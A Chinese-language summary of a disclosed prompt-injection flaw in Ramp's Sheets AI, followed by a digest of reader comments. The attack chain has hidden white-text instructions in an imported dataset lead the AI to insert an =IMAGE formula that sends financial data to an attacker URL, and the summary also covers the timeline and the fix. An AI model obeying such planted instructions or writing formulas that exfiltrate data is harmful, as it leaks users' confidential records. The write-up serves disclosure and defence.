Ramp的Sheets AI功能存在数据泄露漏洞，攻击者可通过间接提示注入操纵AI插入恶意公式，导致用户财务数据外泄。该漏洞已向Ramp安全团队报告，并于2026年3月16日修复。文章展示了外部数据集中隐藏的恶意指令如何利用该漏洞窃取机密信息。

标题：Ramp表格AI存在财务数据外泄漏洞

主要内容： 1. 漏洞背景 - Ramp表格AI是一款类似Claude for Excel的智能表格处理工具，可自动编辑电子表格 - 该工具因能插入触发外部通信的公式而存在数据外泄风险 - 漏洞已于2026年3月16日修复

2. 攻击链条 (1) 用户打开包含机密财务模型的工作簿 (2) 从不可信外部源导入参考数据集（如网站/邮件/共享盘） (3) 数据集中隐藏着白色文字编写的间接提示注入 (4) 用户要求AI对比财务模型与行业数据 (5) AI被诱导插入恶意公式：=IMAGE("攻击者URL?{财务数据}") (6) 公式自动触发网络请求，泄露财务数据

3. 漏洞披露时间线

• 2026.2.19 首次报告
• 2026.3.16 漏洞修复完成

4. 相关案例

• Claude for Excel曾存在类似漏洞
• 修复方案：插入可能外传数据的公式时显示红色警告，并完整展示公式内容

（注：已删除重复的时间线细节和过多图片描述，保留核心漏洞原理和修复情况）

总结评论内容如下：

1. 对技术生态系统的信任问题

• 指出当前技术生态系统（如npm/pip/cargo）建立在高度信任基础上，存在执行外部代码的风险
• "当前技术生态系统围绕高信任情境构建：npm/pip/cargo都在开发者上下文中运行外部代码"(current technological ecosystem is built around a high trust situation)
• "我们使用LLMs这种同样高信任的技术并不奇怪，因为它没有带外信令能力"(we use LLMs - another tech that is high-trust)

2. 对漏洞披露的质疑

• 认为这不算真正的漏洞，只是数据处理的一般风险
• "如果不可信数据源导致问题算漏洞，那所有处理数据的应用都充满漏洞"(If that's a vulnerability, then any application that ingests data is riddled with vulnerabilities)
• 批评披露过程像营销炒作，但认同应默认禁止外部网络请求

3. 对公司响应和AI使用的看法

• 指出Ramp响应迟缓，三次联系才获得延迟近月的回复
• "PromptArmor需要连续联系三次才获得延迟近月的回复"(needed to reach out 3 times to get a nearly month-late response)
• 有评论表示会优先选择公开承诺不使用AI的公司，认为AI使用显示公司不可靠
• "AI使用应该给公司打上绝望和不可靠的标签"(AI use should brand companies as desperate and unreliable)

4. 对技术发展的讽刺

• 讽刺在防止数据作为指令执行几十年后，现在却允许代理随意执行数据指令
• "在几十年防止计算机将数据作为指令执行后，我们决定让代理随意执行数据指令"(after decades...to prevent...executing data as instructions, we've decided to let agents...execute data as instructions)

5. 对Ramp产品的疑问

• 直接质疑Ramp为何要开发表格产品
• "Ramp为什么要开发表格产品？这是我最先想到的问题"(Why is Ramp even building a sheets product? That's the question zero)